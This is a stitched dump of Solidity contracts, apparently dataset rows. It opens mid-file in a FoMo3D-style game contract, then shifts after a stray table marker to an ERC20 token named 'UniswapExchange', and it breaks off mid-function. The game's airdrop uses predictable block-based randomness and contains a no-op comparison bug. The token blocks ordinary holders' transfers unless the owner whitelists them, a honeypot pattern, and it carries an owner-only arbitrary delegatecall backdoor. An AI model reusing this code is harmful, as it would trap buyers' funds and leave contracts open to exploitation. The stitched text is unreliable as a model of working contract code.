plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FFFevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit FFFevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FFFevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FFFevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FFFevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, FFFdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FFFevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, FFFdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FFFevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, FFFdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < preIcoMax_ && plyrRnds_[_pID][_rID].eth.add(_eth) > preIcoPerEth_)
{
uint256 _availableLimit = (preIcoPerEth_).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(FFFdatasets.EventReturns memory _eventData_)
private
returns (FFFdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, FFFdatasets.EventReturns memory _eventData_)
private
returns (FFFdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(FFFdatasets.EventReturns memory _eventData_)
private
returns (FFFdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
yyyy.transfer((_com.mul(80)/100));
gggg.transfer((_com.sub((_com.mul(80)/100))));
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, FFFdatasets.EventReturns memory _eventData_)
private
returns(FFFdatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit FFFevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = (_com.add(_aff));
}
uint256 _p3d;
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
_com = (_com.add((_p3d.sub(_potAmount))));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
yyyy.transfer((_com.mul(80)/100));
gggg.transfer((_com.sub((_com.mul(80)/100))));
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit FFFevents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, FFFdatasets.EventReturns memory _eventData_)
private
returns(FFFdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, FFFdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit FFFevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library FFFdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library FFFKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,781 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
